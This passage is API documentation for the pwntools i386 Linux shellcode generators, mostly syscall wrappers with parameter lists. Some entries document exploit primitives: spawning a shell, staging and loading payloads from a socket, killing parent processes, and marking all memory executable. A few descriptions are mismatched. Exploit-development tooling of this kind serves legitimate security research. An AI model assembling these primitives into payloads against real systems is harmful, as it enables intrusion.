- **resource** (*rlimit_resource_t*) – *resource*
- **rlimits** (*rlimit*) – *rlimits*

`pwnlib.shellcraft.i386.linux.getrusage` (*who*, *usage*)
Invokes the syscall `getrusage`. See ‘man 2 `getrusage`’ for more information.

Parameters

- **who** (*rusage_who_t*) – *who*

- **usage** (*rusage*) – usage

`pwnlib.shellcraft.i386.linux.getsid` (*pid*)

Invokes the syscall `getsid`. See ‘man 2 `getsid`’ for more information.

Parameters `pid` (*pid_t*) – pid

`pwnlib.shellcraft.i386.linux.getsockname` (*fd, addr, length*)

Invokes the syscall `getsockname`. See ‘man 2 `getsockname`’ for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.i386.linux.getsockopt` (*fd, level, optname, optval, optlen*)

Invokes the syscall `getsockopt`. See ‘man 2 `getsockopt`’ for more information.

Parameters

- **fd** (*int*) – fd
- **level** (*int*) – level
- **optname** (*int*) – optname
- **optval** (*void*) – optval
- **optlen** (*socklen_t*) – optlen

`pwnlib.shellcraft.i386.linux.gettimeofday` (*tv, tz*)

Invokes the syscall `gettimeofday`. See ‘man 2 `gettimeofday`’ for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone_ptr_t*) – tz

`pwnlib.shellcraft.i386.linux.getuid` ()

Invokes the syscall `getuid`. See ‘man 2 `getuid`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.gtty` (*fd, params*)

Invokes the syscall `gtty`. See ‘man 2 `gtty`’ for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

`pwnlib.shellcraft.i386.linux.i386_to_amd64` ()

Returns code to switch from i386 to amd64 mode.

`pwnlib.shellcraft.i386.linux.ioctl` (*fd, request, vararg*)

Invokes the syscall `ioctl`. See ‘man 2 `ioctl`’ for more information.

Parameters

- **fd** (*int*) – fd
- **request** (*unsigned*) – request
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.i386.linux.ioperm` (*from_, num, turn_on*)
Invokes the syscall `ioperm`. See ‘man 2 `ioperm`’ for more information.

Parameters

- **from** (*unsigned*) – from
- **num** (*unsigned*) – num
- **turn_on** (*int*) – turn_on

`pwnlib.shellcraft.i386.linux.iopl` (*level*)
Invokes the syscall `iopl`. See ‘man 2 `iopl`’ for more information.

Parameters **level** (*int*) – level

`pwnlib.shellcraft.i386.linux.kill` (*pid, sig*)
Invokes the syscall `kill`. See ‘man 2 `kill`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **sig** (*int*) – sig

`pwnlib.shellcraft.i386.linux.killparent` ()
Kills its parent process until whatever the parent is (probably `init`) cannot be killed any longer.

`pwnlib.shellcraft.i386.linux.lchown` (*file, owner, group*)
Invokes the syscall `lchown`. See ‘man 2 `lchown`’ for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.i386.linux.link` (*from_, to*)
Invokes the syscall `link`. See ‘man 2 `link`’ for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

`pwnlib.shellcraft.i386.linux.linkat` (*fromfd, from_, tofd, to, flags*)
Invokes the syscall `linkat`. See ‘man 2 `linkat`’ for more information.

Parameters

- **fromfd** (*int*) – fromfd
- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to
- **flags** (*int*) – flags

`pwnlib.shellcraft.i386.linux.listen` (*fd, n*)
Invokes the syscall `listen`. See ‘man 2 `listen`’ for more information.

Parameters

- **fd** (*int*) – fd

- `n(int) - n`

`pwnlib.shellcraft.i386.linux.loader` (*address*)

Loads a statically-linked ELF into memory and transfers control.

Parameters `address` (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.i386.linux.loader_append` (*data=None*)

Loads a statically-linked ELF into memory and transfers control.

Similar to `loader.asm` but loads an appended ELF.

Parameters `data` (*bytes, str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example

```
>>> gcc = process(['gcc', '-m32', '-xc', '-static', '-Wl,-Ttext-segment=0x20000000', '-'])
>>> gcc.write('''
... int main() {
...     printf("Hello, %s!\n", "i386");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True)
0
>>> sc = shellcraft.loader_append('a.out')
```

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
# >>> run_assembly(sc).recvline() == 'Hello, i386!\n' # True
```

`pwnlib.shellcraft.i386.linux.lseek` (*fd, offset, whence*)

Invokes the syscall `lseek`. See ‘man 2 `lseek`’ for more information.

Parameters

- `fd(int) - fd`
- `offset(off_t) - offset`
- `whence(int) - whence`

`pwnlib.shellcraft.i386.linux.lstat` (*file, buf*)

Invokes the syscall `lstat`. See ‘man 2 `lstat`’ for more information.

Parameters

- `file(char) - file`
- `buf(stat) - buf`

`pwnlib.shellcraft.i386.linux.lstat64` (*file, buf*)

Invokes the syscall `lstat64`. See ‘man 2 `lstat64`’ for more information.

Parameters

- `file(char) - file`
- `buf(stat64) - buf`

`pwnlib.shellcraft.i386.linux.madvise` (*addr, length, advice*)

Invokes the syscall `madvise`. See ‘man 2 `madvise`’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **advice** (*int*) – advice

`pwnlib.shellcraft.i386.linux.mincore` (*start, length, vec*)
Invokes the syscall mincore. See ‘man 2 mincore’ for more information.

Parameters

- **start** (*void*) – start
- **len** (*size_t*) – len
- **vec** (*unsigned*) – vec

`pwnlib.shellcraft.i386.linux.mkdir` (*path, mode*)
Invokes the syscall mkdir. See ‘man 2 mkdir’ for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.i386.linux.mkdirat` (*fd, path, mode*)
Invokes the syscall mkdirat. See ‘man 2 mkdirat’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.i386.linux.mknod` (*path, mode, dev*)
Invokes the syscall mknod. See ‘man 2 mknod’ for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

`pwnlib.shellcraft.i386.linux.mknodat` (*fd, path, mode, dev*)
Invokes the syscall mknodat. See ‘man 2 mknodat’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

`pwnlib.shellcraft.i386.linux.mlock` (*addr, length*)
Invokes the syscall mlock. See ‘man 2 mlock’ for more information.

Parameters

- **addr** (*void*) – addr

- **len** (*size_t*) – len

`pwnlib.shellcraft.i386.linux.mlockall` (*flags*)

Invokes the syscall `mlockall`. See ‘man 2 `mlockall`’ for more information.

Parameters **flags** (*int*) – flags

`pwnlib.shellcraft.i386.linux.mmap` (*addr=0, length=4096, prot=7, flags=34, fd=-1, offset=0*)

Invokes the syscall `mmap`. See ‘man 2 `mmap`’ for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length
- **prot** (*int*) – prot
- **flags** (*int*) – flags
- **fd** (*int*) – fd
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.i386.linux.mov` (*dest, src, stack_allowed=True*)

Thin wrapper around `pwnlib.shellcraft.i386.mov()`, which sets `context.os` to ‘linux’ before calling.

Example

```
>>> print(pwnlib.shellcraft.i386.linux.mov('eax', 'SYS_execve').rstrip())
push (SYS_execve) /* 0xb */
pop eax
```

`pwnlib.shellcraft.i386.linux.mprotect` (*addr, length, prot*)

Invokes the syscall `mprotect`. See ‘man 2 `mprotect`’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **prot** (*int*) – prot

`pwnlib.shellcraft.i386.linux.mprotect_all` (*clear_ebx=True, fix_null=False*)

Calls `mprotect`(page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) for every page.

It takes around 0.3 seconds on my box, but your milage may vary.

Parameters

- **clear_ebx** (*bool*) – If this is set to False, then the shellcode will assume that `ebx` has already been zeroed.
- **fix_null** (*bool*) – If this is set to True, then the NULL-page will also be `mprotected` at the cost of slightly larger shellcode

`pwnlib.shellcraft.i386.linux.mq_notify` (*mqdes, notification*)

Invokes the syscall `mq_notify`. See ‘man 2 `mq_notify`’ for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **notification** (*sigevent*) – notification

`pwnlib.shellcraft.i386.linux.mq_open` (*name, oflag, vararg*)

Invokes the syscall `mq_open`. See ‘man 2 `mq_open`’ for more information.

Parameters

- **name** (*char*) – name
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.i386.linux.mq_timedreceive` (*mqdes, msg_ptr, msg_len, msg_prio, abs_timeout*)

Invokes the syscall `mq_timedreceive`. See ‘man 2 `mq_timedreceive`’ for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

`pwnlib.shellcraft.i386.linux.mq_timedsend` (*mqdes, msg_ptr, msg_len, msg_prio, abs_timeout*)

Invokes the syscall `mq_timedsend`. See ‘man 2 `mq_timedsend`’ for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

`pwnlib.shellcraft.i386.linux.mq_unlink` (*name*)

Invokes the syscall `mq_unlink`. See ‘man 2 `mq_unlink`’ for more information.

Parameters **name** (*char*) – name

`pwnlib.shellcraft.i386.linux.mremap` (*addr, old_len, new_len, flags, vararg*)

Invokes the syscall `mremap`. See ‘man 2 `mremap`’ for more information.

Parameters

- **addr** (*void*) – addr
- **old_len** (*size_t*) – old_len
- **new_len** (*size_t*) – new_len
- **flags** (*int*) – flags
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.i386.linux.msync` (*addr, length, flags*)

Invokes the syscall `msync`. See ‘man 2 `msync`’ for more information.

Parameters

- **addr** (*void*) – addr

- **len** (*size_t*) – len
- **flags** (*int*) – flags

`pwnlib.shellcraft.i386.linux.munlock` (*addr, length*)

Invokes the syscall `munlock`. See ‘man 2 `munlock`’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

`pwnlib.shellcraft.i386.linux.munlockall` ()

Invokes the syscall `munlockall`. See ‘man 2 `munlockall`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.munmap` (*addr, length*)

Invokes the syscall `munmap`. See ‘man 2 `munmap`’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

`pwnlib.shellcraft.i386.linux.nanosleep` (*requested_time, remaining*)

Invokes the syscall `nanosleep`. See ‘man 2 `nanosleep`’ for more information.

Parameters

- **requested_time** (*timespec*) – requested_time
- **remaining** (*timespec*) – remaining

`pwnlib.shellcraft.i386.linux.nice` (*inc*)

Invokes the syscall `nice`. See ‘man 2 `nice`’ for more information.

Parameters **inc** (*int*) – inc

`pwnlib.shellcraft.i386.linux.open` (*file, oflag, vararg*)

Invokes the syscall `open`. See ‘man 2 `open`’ for more information.

Parameters

- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.i386.linux.openat` (*fd, file, oflag, vararg*)

Invokes the syscall `openat`. See ‘man 2 `openat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.i386.linux.pause` ()

Invokes the syscall `pause`. See ‘man 2 `pause`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.pidmax()`

Retrieves the highest numbered PID on the system, according to the `sysctl kernel.pid_max`.

`pwnlib.shellcraft.i386.linux.pipe(pipedes)`

Invokes the syscall `pipe`. See ‘man 2 pipe’ for more information.

Parameters `pipedes` (*int*) – `pipedes`

`pwnlib.shellcraft.i386.linux.pipe2(pipedes, flags)`

Invokes the syscall `pipe2`. See ‘man 2 pipe2’ for more information.

Parameters

- `pipedes` (*int*) – `pipedes`
- `flags` (*int*) – `flags`

`pwnlib.shellcraft.i386.linux.poll(fds, nfds, timeout)`

Invokes the syscall `poll`. See ‘man 2 poll’ for more information.

Parameters

- `fds` (*pollfd*) – `fds`
- `nfds` (*nfds_t*) – `nfds`
- `timeout` (*int*) – `timeout`

`pwnlib.shellcraft.i386.linux.ppoll(fds, nfds, timeout, ss)`

Invokes the syscall `ppoll`. See ‘man 2 ppoll’ for more information.

Parameters

- `fds` (*pollfd*) – `fds`
- `nfds` (*nfds_t*) – `nfds`
- `timeout` (*timespec*) – `timeout`
- `ss` (*sigset_t*) – `ss`

`pwnlib.shellcraft.i386.linux.prctl(option, *vararg)`

Invokes the syscall `prctl`. See ‘man 2 prctl’ for more information.

Parameters

- `option` (*int*) – `option`
- `vararg` (*int*) – `vararg`

`pwnlib.shellcraft.i386.linux.pread(fd, buf, nbytes, offset)`

Invokes the syscall `pread`. See ‘man 2 pread’ for more information.

Parameters

- `fd` (*int*) – `fd`
- `buf` (*void*) – `buf`
- `nbytes` (*size_t*) – `nbytes`
- `offset` (*off_t*) – `offset`

`pwnlib.shellcraft.i386.linux.preadv(fd, iovec, count, offset)`

Invokes the syscall `preadv`. See ‘man 2 preadv’ for more information.

Parameters

- `fd` (*int*) – `fd`

- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.i386.linux.prlimit64` (*pid, resource, new_limit, old_limit*)

Invokes the syscall `prlimit64`. See ‘man 2 `prlimit64`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **resource** (*rlimit_resource*) – resource
- **new_limit** (*rlimit64*) – new_limit
- **old_limit** (*rlimit64*) – old_limit

`pwnlib.shellcraft.i386.linux.profil` (*sample_buffer, size, offset, scale*)

Invokes the syscall `profil`. See ‘man 2 `profil`’ for more information.

Parameters

- **sample_buffer** (*unsigned*) – sample_buffer
- **size** (*size_t*) – size
- **offset** (*size_t*) – offset
- **scale** (*unsigned*) – scale

`pwnlib.shellcraft.i386.linux.pttrace` (*request, *vararg*)

Invokes the syscall `ptrace`. See ‘man 2 `ptrace`’ for more information.

Parameters

- **request** (*ptrace_request*) – request
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.i386.linux.push` (*value*)

Thin wrapper around `pwnlib.shellcraft.i386.push()`, which sets `context.os` to ‘linux’ before calling.

Example

```
>>> print(pwnlib.shellcraft.i386.linux.push('SYS_execve').rstrip())
/* push 'SYS_execve' */
push 0xb
```

`pwnlib.shellcraft.i386.linux.putpmsg` (*fildes, ctlptr, dataptr, band, flags*)

Invokes the syscall `putpmsg`. See ‘man 2 `putpmsg`’ for more information.

Parameters

- **fildes** (*int*) – fildes
- **ctlptr** (*strbuf*) – ctlptr
- **dataptr** (*strbuf*) – dataptr
- **band** (*int*) – band
- **flags** (*int*) – flags

`pwnlib.shellcraft.i386.linux.pwrite` (*fd, buf, n, offset*)

Invokes the syscall `write`. See ‘man 2 `write`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.i386.linux.pwritev` (*fd, iovec, count, offset*)

Invokes the syscall `writev`. See ‘man 2 `writev`’ for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.i386.linux.read` (*fd, buf, nbytes*)

Invokes the syscall `read`. See ‘man 2 `read`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

`pwnlib.shellcraft.i386.linux.readahead` (*fd, offset, count*)

Invokes the syscall `readahead`. See ‘man 2 `readahead`’ for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.i386.linux.readdir` (*dirp*)

Invokes the syscall `readdir`. See ‘man 2 `readdir`’ for more information.

Parameters **dirp** (*DIR*) – dirp

`pwnlib.shellcraft.i386.linux.readfile` (*path, dst='esi'*)

Args: [path, dst (imm/reg) = esi] Opens the specified file path and sends its content to the specified file descriptor.

`pwnlib.shellcraft.i386.linux.readlink` (*path, buf, length*)

Invokes the syscall `readlink`. See ‘man 2 `readlink`’ for more information.

Parameters

- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

`pwnlib.shellcraft.i386.linux.readlinkat` (*fd, path, buf, length*)

Invokes the syscall `readlinkat`. See ‘man 2 `readlinkat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

`pwnlib.shellcraft.i386.linux.readn` (*fd, buf, nbytes*)

Reads exactly *nbytes* bytes from file descriptor *fd* into the buffer *buf*.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

`pwnlib.shellcraft.i386.linux.readv` (*fd, iovec, count*)

Invokes the syscall `readv`. See ‘man 2 readv’ for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

`pwnlib.shellcraft.i386.linux.recv` (*fd, buf, n, flags*)

Invokes the syscall `recv`. See ‘man 2 recv’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags

`pwnlib.shellcraft.i386.linux.recvfrom` (*fd, buf, n, flags, addr, addr_len*)

Invokes the syscall `recvfrom`. See ‘man 2 recvfrom’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

`pwnlib.shellcraft.i386.linux.recvmsg` (*fd, vmessages, vlen, flags, tmo*)

Invokes the syscall `recvmsg`. See ‘man 2 recvmsg’ for more information.

Parameters

- **fd** (*int*) – fd
- **vmessages** (*mmsg_hdr*) – vmessages

- **vlen** (*unsigned*) – vlen
- **flags** (*int*) – flags
- **tmo** (*timespec*) – tmo

`pwnlib.shellcraft.i386.linux.recvmsg` (*fd, message, flags*)
Invokes the syscall `recvmsg`. See ‘man 2 `recvmsg`’ for more information.

Parameters

- **fd** (*int*) – fd
- **message** (*msg_hdr*) – message
- **flags** (*int*) – flags

`pwnlib.shellcraft.i386.linux.recvsize` (*sock, reg='ecx'*)
Receives 4 bytes size field Useful in conjunction with `findpeer` and `stager`:
:param *sock*, the socket to read the payload from.:
:param *reg*, the place to put the size:
:type *reg*, the place to put the size: default `ecx`

Leaves socket in `ebx`

`pwnlib.shellcraft.i386.linux.remap_file_pages` (*start, size, prot, pgoff, flags*)
Invokes the syscall `remap_file_pages`. See ‘man 2 `remap_file_pages`’ for more information.

Parameters

- **start** (*void*) – start
- **size** (*size_t*) – size
- **prot** (*int*) – prot
- **pgoff** (*size_t*) – pgoff
- **flags** (*int*) – flags

`pwnlib.shellcraft.i386.linux.rename` (*old, new*)
Invokes the syscall `rename`. See ‘man 2 `rename`’ for more information.

Parameters

- **old** (*char*) – old
- **new** (*char*) – new

`pwnlib.shellcraft.i386.linux.renameat` (*olddfd, old, newfd, new*)
Invokes the syscall `renameat`. See ‘man 2 `renameat`’ for more information.

Parameters

- **olddfd** (*int*) – oldfd
- **old** (*char*) – old
- **newfd** (*int*) – newfd
- **new** (*char*) – new

`pwnlib.shellcraft.i386.linux.rmdir` (*path*)
Invokes the syscall `rmdir`. See ‘man 2 `rmdir`’ for more information.

Parameters *path* (*char*) – path

`pwnlib.shellcraft.i386.linux.sched_get_priority_max` (*algorithm*)
Invokes the syscall `sched_get_priority_max`. See ‘man 2 `sched_get_priority_max`’ for more information.

Parameters *algorithm* (*int*) – algorithm

pwnlib.shellcraft.i386.linux.**sched_get_priority_min**(*algorithm*)

Invokes the syscall sched_get_priority_min. See ‘man 2 sched_get_priority_min’ for more information.

Parameters **algorithm**(*int*) – algorithm

pwnlib.shellcraft.i386.linux.**sched_getaffinity**(*pid*, *cpusetsize*, *cpuset*)

Invokes the syscall sched_getaffinity. See ‘man 2 sched_getaffinity’ for more information.

Parameters

- **pid**(*pid_t*) – pid
- **cpusetsize**(*size_t*) – cpusetsize
- **cpuset**(*cpu_set_t*) – cpuset

pwnlib.shellcraft.i386.linux.**sched_getparam**(*pid*, *param*)

Invokes the syscall sched_getparam. See ‘man 2 sched_getparam’ for more information.

Parameters

- **pid**(*pid_t*) – pid
- **param**(*sched_param*) – param

pwnlib.shellcraft.i386.linux.**sched_getscheduler**(*pid*)

Invokes the syscall sched_getscheduler. See ‘man 2 sched_getscheduler’ for more information.

Parameters **pid**(*pid_t*) – pid

pwnlib.shellcraft.i386.linux.**sched_rr_get_interval**(*pid*, *t*)

Invokes the syscall sched_rr_get_interval. See ‘man 2 sched_rr_get_interval’ for more information.

Parameters

- **pid**(*pid_t*) – pid
- **t**(*timespec*) – t

pwnlib.shellcraft.i386.linux.**sched_setaffinity**(*pid*, *cpusetsize*, *cpuset*)

Invokes the syscall sched_setaffinity. See ‘man 2 sched_setaffinity’ for more information.

Parameters

- **pid**(*pid_t*) – pid
- **cpusetsize**(*size_t*) – cpusetsize
- **cpuset**(*cpu_set_t*) – cpuset

pwnlib.shellcraft.i386.linux.**sched_setparam**(*pid*, *param*)

Invokes the syscall sched_setparam. See ‘man 2 sched_setparam’ for more information.

Parameters

- **pid**(*pid_t*) – pid
- **param**(*sched_param*) – param

pwnlib.shellcraft.i386.linux.**sched_setscheduler**(*pid*, *policy*, *param*)

Invokes the syscall sched_setscheduler. See ‘man 2 sched_setscheduler’ for more information.

Parameters

- **pid**(*pid_t*) – pid
- **policy**(*int*) – policy
- **param**(*sched_param*) – param

`pwnlib.shellcraft.i386.linux.sched_yield()`

Invokes the syscall `sched_yield`. See ‘man 2 `sched_yield`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.select(nfds, readfds, writefds, exceptfds, timeout)`

Invokes the syscall `select`. See ‘man 2 `select`’ for more information.

Parameters

- **nfds** (*int*) – nfds
- **readfds** (*fd_set*) – readfds
- **writefds** (*fd_set*) – writefds
- **exceptfds** (*fd_set*) – exceptfds
- **timeout** (*timeval*) – timeout

`pwnlib.shellcraft.i386.linux.sendfile(out_fd, in_fd, offset, count)`

Invokes the syscall `sendfile`. See ‘man 2 `sendfile`’ for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd
- **offset** (*off_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.i386.linux.sendfile64(out_fd, in_fd, offset, count)`

Invokes the syscall `sendfile64`. See ‘man 2 `sendfile64`’ for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.i386.linux.setdomainname(name, length)`

Invokes the syscall `setdomainname`. See ‘man 2 `setdomainname`’ for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

`pwnlib.shellcraft.i386.linux.setgid(gid)`

Invokes the syscall `setgid`. See ‘man 2 `setgid`’ for more information.

Parameters `gid` (*gid_t*) – gid

`pwnlib.shellcraft.i386.linux.setgroups(n, groups)`

Invokes the syscall `setgroups`. See ‘man 2 `setgroups`’ for more information.

Parameters

- **n** (*size_t*) – n
- **groups** (*gid_t*) – groups

`pwnlib.shellcraft.i386.linux.sethostname` (*name, length*)

Invokes the syscall `sethostname`. See ‘man 2 `sethostname`’ for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

`pwnlib.shellcraft.i386.linux.setitimer` (*which, new, old*)

Invokes the syscall `setitimer`. See ‘man 2 `setitimer`’ for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **new** (*itimerval*) – new
- **old** (*itimerval*) – old

`pwnlib.shellcraft.i386.linux.setpgid` (*pid, pgid*)

Invokes the syscall `setpgid`. See ‘man 2 `setpgid`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **pgid** (*pid_t*) – pgid

`pwnlib.shellcraft.i386.linux.setpriority` (*which, who, prio*)

Invokes the syscall `setpriority`. See ‘man 2 `setpriority`’ for more information.

Parameters

- **which** (*priority_which_t*) – which
- **who** (*id_t*) – who
- **prio** (*int*) – prio

`pwnlib.shellcraft.i386.linux.setregid` (*gid='egid'*)

Args: [`gid` (`imm/reg`) = `egid`] Sets the real and effective group id.

`pwnlib.shellcraft.i386.linux.setresgid` (*rgid, egid, sgid*)

Invokes the syscall `setresgid`. See ‘man 2 `setresgid`’ for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid
- **sgid** (*gid_t*) – sgid

`pwnlib.shellcraft.i386.linux.setresuid` (*ruid, euid, suid*)

Invokes the syscall `setresuid`. See ‘man 2 `setresuid`’ for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid
- **suid** (*uid_t*) – suid

`pwnlib.shellcraft.i386.linux.setreuid` (*uid='euid'*)

Args: [`uid` (`imm/reg`) = `euid`] Sets the real and effective user id.

`pwnlib.shellcraft.i386.linux.setrlimit` (*resource, rlimits*)
Invokes the syscall `setrlimit`. See ‘man 2 `setrlimit`’ for more information.

Parameters

- **resource** (*rlimit_resource_t*) – resource
- **rlimits** (*rlimit*) – rlimits

`pwnlib.shellcraft.i386.linux.setsid` ()
Invokes the syscall `setsid`. See ‘man 2 `setsid`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.setsockopt` (*sockfd, level, optname, optval, optlen*)
Invokes the syscall `setsockopt`. See ‘man 2 `setsockopt`’ for more information.

Parameters

- **sockfd** (*int*) – sockfd
- **level** (*int*) – level
- **optname** (*int*) – optname
- **optval** (*void*) – optval
- **optlen** (*int*) – optlen

`pwnlib.shellcraft.i386.linux.setsockopt_timeout` (*sock, secs*)
Invokes the syscall `fork`. See ‘man 2 `fork`’ for more information.

Parameters

- **sock** (*int*) – sock
- **secs** (*int*) – secs

`pwnlib.shellcraft.i386.linux.settimeofday` (*tv, tz*)
Invokes the syscall `settimeofday`. See ‘man 2 `settimeofday`’ for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone*) – tz

`pwnlib.shellcraft.i386.linux.setuid` (*uid*)
Invokes the syscall `setuid`. See ‘man 2 `setuid`’ for more information.

Parameters **uid** (*uid_t*) – uid

`pwnlib.shellcraft.i386.linux.sh` ()
Execute a different process.

```
>>> p = run_assembly(shellcraft.i386.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.i386.linux.sigaction` (*sig, act, oact*)
Invokes the syscall `sigaction`. See ‘man 2 `sigaction`’ for more information.

Parameters

- **sig** (*int*) – sig
- **act** (*sigaction*) – act

- **oact** (*sigaction*) – oact

`pwnlib.shellcraft.i386.linux.sigaltstack` (*ss, oss*)

Invokes the syscall `sigaltstack`. See ‘man 2 `sigaltstack`’ for more information.

Parameters

- **ss** (*sigaltstack*) – ss
- **oss** (*sigaltstack*) – oss

`pwnlib.shellcraft.i386.linux.signal` (*sig, handler*)

Invokes the syscall `signal`. See ‘man 2 `signal`’ for more information.

Parameters

- **sig** (*int*) – sig
- **handler** (*sigandler_t*) – handler

`pwnlib.shellcraft.i386.linux.sigpending` (*set*)

Invokes the syscall `sigpending`. See ‘man 2 `sigpending`’ for more information.

Parameters set (*sigset_t*) – set

`pwnlib.shellcraft.i386.linux.sigprocmask` (*how, set, oset*)

Invokes the syscall `sigprocmask`. See ‘man 2 `sigprocmask`’ for more information.

Parameters

- **how** (*int*) – how
- **set** (*sigset_t*) – set
- **oset** (*sigset_t*) – oset

`pwnlib.shellcraft.i386.linux.sigreturn` ()

Invokes the syscall `sigreturn`. See ‘man 2 `sigreturn`’ for more information.

`pwnlib.shellcraft.i386.linux.sigsuspend` (*set*)

Invokes the syscall `sigsuspend`. See ‘man 2 `sigsuspend`’ for more information.

Parameters set (*sigset_t*) – set

`pwnlib.shellcraft.i386.linux.socket` (*network='ipv4', proto='tcp'*)

Creates a new socket

`pwnlib.shellcraft.i386.linux.socketcall` (*socketcall, socket, sockaddr, sockaddr_len*)

Invokes a socket call (e.g. `socket`, `send`, `recv`, `shutdown`)

`pwnlib.shellcraft.i386.linux.splice` (*fdin, offin, fdout, offout, length, flags*)

Invokes the syscall `splice`. See ‘man 2 `splice`’ for more information.

Parameters

- **fdin** (*int*) – fdin
- **offin** (*off64_t*) – offin
- **fdout** (*int*) – fdout
- **offout** (*off64_t*) – offout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.i386.linux.stage` (*fd=0, length=None*)
Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
```

`pwnlib.shellcraft.i386.linux.stager` (*sock, size, handle_error=False, tiny=False*)
Recives a fixed sized payload into a mmaped buffer Useful in conjunction with findpeer. :param sock, the socket to read the payload from.: :param size, the size of the payload:

`pwnlib.shellcraft.i386.linux.stat` (*file, buf*)
